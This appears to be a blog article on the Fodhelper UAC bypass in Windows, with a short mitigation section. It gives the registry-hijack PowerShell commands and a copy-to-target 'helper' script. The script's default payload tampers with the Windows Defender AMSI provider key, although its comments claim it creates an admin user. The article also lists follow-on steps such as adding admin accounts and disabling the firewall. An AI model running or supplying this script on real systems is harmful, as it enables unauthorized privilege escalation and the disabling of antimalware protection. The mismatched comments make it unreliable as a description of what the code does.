Related Articles
Introduction
If you’ve ever tried to run a command prompt as administrator on your Windows OS before, you’ve seen a harmless popup appear. This is Windows User Account Control, or UAC. According to Microsoft, UAC “is a fundamental component of Microsoft’s overall security vision. UAC helps mitigate the impact of malware.” (How User Account Control Works)
This article will show you how that isn’t necessarily the case. While perusing random articles last night I found one referring to Fodhelper, which was found to be exploitable in 2017, and then again being used by the Trickbot malware in January 2020. Most intriguing though was discovering that Fodhelper is still exploitable. And not only exploitable, but it also bypasses Windows Defender with the desired command execution. Here’s how.
Fodhelper
Fodhelper is a trusted binary in Windows operating systems, which allows elevation without requiring a UAC prompt with most UAC settings. You can even try this yourself — go to the Windows search bar, search fodhelper, click run as administrator, and notice that there is no UAC notification. You’re simply presented with the “Optional features” window in Windows. There isn’t a ton of information available for Fodhelper, but the binary checks a specific registry key, and for whatever legitimate reason, executes any instructions included.
For exploitation purposes, we can create a new key in the current user hive, add the DelegateExecute property to the key, followed by a custom value to execute.
- New-Item “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force
- New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force
- Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value $custom -Force
(These values can also be entered manually using REG ADD commands manually)
When the registry edits are made, the results should look like the below:
Executing fodhelper.exe will execute the commands stored in Registry and execute the command used.
The interesting part of all of this is Windows Defender. Defender doesn’t identify the exploit as malicious while it sits on disk — only once it’s executed. BUT, that execution isn’t necessarily prevented or blocked. Otherwise trusted functionality, such as adding users and adding them to the administrators group, modifying other registry keys such as enabling remote desktop, disabling the firewall, etc., are still permitted actions. The PowerShell script isn’t even deleted. It still sits on disk after execution, and can be used over and over.
I’ve shown you how to utilize this directly from a Windows environment, but more dangerously is that it can be executed from a command line via reverse shell.
Note that while the shell crashes due to the Defender catch, a new administrator user is created which can be accessed and abused. Using a tool like Evil-WinRM, which also bypasses Defender, can grant full administrative access via shell to the machine.
If you use this on a penetration test, it’s vital that you document the modifications made to the Registry and notify the client for cleanup purposes. I would normally advocate for cleaning up left over user accounts, but making deletions to registry values should be done in coordination with the team to ensure that proper backups are made prior to deleting anything.
How do we fix this?
From a defensive standpoint, the best internal fix to this is to not trust any program, and require anything ran as an administrator to require UAC notifications any time an application tries to install software or make changes to a computer. Additional measures can be instituted, such as requiring administrator credentials to do so.
We can also take full advantage of optional Windows features such as requiring credentials when UAC is prompted. Enabling this command, while adding an additional layer of user input, is also another layer of depth in our defense.
“Set-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System” -Name “ConsentPromptBehaviorAdmin” -Value 1″
Detection solutions, which are vital to any hardened IT infrastructure, can be used with pre-built or custom rules to identify when bypass events occur with known binaries and software. As I don’t partner with any endpoint solutions, I won’t recommend any, however I do recommend that you contact your vendor to discuss those options.
Finally, Microsoft really needs to take security more serious. Fodhelper has been vulnerable for nearly four years now, and it’s readily apparent that despite whatever changes were made, they weren’t enough. Microsoft considers UAC to be a defense in depth solution (https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria), and UAC bypass does not fall under their “intent to service” criteria. Meaning that it won’t be serviced by default if exploitation is found, but may be addressed later in a patch or fix.
function helper(){
#This PowerShell script runs from disk - copy it to the target Windows machine.
#Load the script into PowerShell and run "helper" (no quotes) in the terminal. This will generate a UAC bypass execution that creates
#a new administrative user account on the machine. The $custom variable below can be modified to meet your needs.
#You can also generate a custom command with -custom "cmd.exe /c <command here>". Mind the quotations in their positions as they are
#required
Param (
[String]$custom = "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse" #default
)
#Registry Command Edit
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $custom -Force
#Bypass Execution
Start-Process "C:\Windows\System32\fodhelper.exe"
}
